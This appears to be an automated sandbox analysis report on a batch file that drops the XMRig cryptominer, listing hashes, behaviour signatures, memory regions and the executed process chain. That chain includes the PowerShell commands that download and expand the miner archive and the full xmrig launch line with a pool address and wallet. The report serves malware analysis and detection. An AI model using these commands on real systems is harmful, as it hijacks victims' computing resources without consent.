Analysis

  • max time kernel
    1793s
  • max time network
    1806s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    01/01/2024, 00:49

General

  • Target

    tesy - Copy (10).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 63 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (10).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:408
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:216
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4976
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:908

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    1e2ded2587b6a08b79bf1b418cfe7059

    SHA1

    6a6953a2ec27a46c4f332cf1dc96842e35a0d69b

    SHA256

    86250554984e463c2987321a79c985f610549ec878aae4f92aa6e764eba226d7

    SHA512

    48a299abf80bdace2d92aedcaac1a12e5f6245eb521f2137a634c57890d3ffdb185ac6c6085960341cc992eb90ade6dc020ab4a1bf661e6fa776941e8eb6802c

  • memory/216-4-0x00000214ACD50000-0x00000214ACD72000-memory.dmp

    Filesize

    136KB

  • memory/216-6-0x00007FFFBF940000-0x00007FFFC032C000-memory.dmp

    Filesize

    9.9MB

  • memory/216-10-0x00000214ACF20000-0x00000214ACF96000-memory.dmp

    Filesize

    472KB

  • memory/216-9-0x00000214ACD90000-0x00000214ACDA0000-memory.dmp

    Filesize

    64KB

  • memory/216-7-0x00000214ACD90000-0x00000214ACDA0000-memory.dmp

    Filesize

    64KB

  • memory/216-25-0x00000214ACD90000-0x00000214ACDA0000-memory.dmp

    Filesize

    64KB

  • memory/216-26-0x00007FFFBF940000-0x00007FFFC032C000-memory.dmp

    Filesize

    9.9MB

  • memory/216-27-0x00000214ACD90000-0x00000214ACDA0000-memory.dmp

    Filesize

    64KB

  • memory/216-28-0x00000214ACD90000-0x00000214ACDA0000-memory.dmp

    Filesize

    64KB

  • memory/216-29-0x00000214ACD90000-0x00000214ACDA0000-memory.dmp

    Filesize

    64KB

  • memory/216-34-0x00007FFFBF940000-0x00007FFFC032C000-memory.dmp

    Filesize

    9.9MB

  • memory/908-147-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-153-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-122-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-188-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-187-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-186-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-185-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-125-0x000001AA04F60000-0x000001AA04F80000-memory.dmp

    Filesize

    128KB

  • memory/908-124-0x000001AA04F40000-0x000001AA04F60000-memory.dmp

    Filesize

    128KB

  • memory/908-123-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-126-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-127-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-129-0x000001AA04F60000-0x000001AA04F80000-memory.dmp

    Filesize

    128KB

  • memory/908-128-0x000001AA04F40000-0x000001AA04F60000-memory.dmp

    Filesize

    128KB

  • memory/908-130-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-131-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-132-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-133-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-134-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-135-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-136-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-137-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-138-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-139-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-140-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-141-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-142-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-143-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-144-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-145-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-146-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-120-0x000001AA03790000-0x000001AA037B0000-memory.dmp

    Filesize

    128KB

  • memory/908-148-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-149-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-150-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-151-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-152-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-121-0x000001AA04F00000-0x000001AA04F40000-memory.dmp

    Filesize

    256KB

  • memory/908-154-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-155-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-156-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-157-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-158-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-159-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-160-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-161-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-162-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-163-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-164-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-165-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-166-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-167-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-168-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-169-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-170-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-171-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-172-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-173-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-174-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-175-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-176-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-177-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-178-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-179-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-180-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-181-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-182-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-183-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/908-184-0x00007FF7B35D0000-0x00007FF7B40D3000-memory.dmp

    Filesize

    11.0MB

  • memory/4976-66-0x000001E6182B0000-0x000001E6182C0000-memory.dmp

    Filesize

    64KB

  • memory/4976-41-0x000001E6182B0000-0x000001E6182C0000-memory.dmp

    Filesize

    64KB

  • memory/4976-42-0x000001E6182B0000-0x000001E6182C0000-memory.dmp

    Filesize

    64KB

  • memory/4976-38-0x00007FFFBF940000-0x00007FFFC032C000-memory.dmp

    Filesize

    9.9MB

  • memory/4976-93-0x000001E6185F0000-0x000001E6185FA000-memory.dmp

    Filesize

    40KB

  • memory/4976-80-0x000001E618690000-0x000001E6186A2000-memory.dmp

    Filesize

    72KB

  • memory/4976-117-0x00007FFFBF940000-0x00007FFFC032C000-memory.dmp

    Filesize

    9.9MB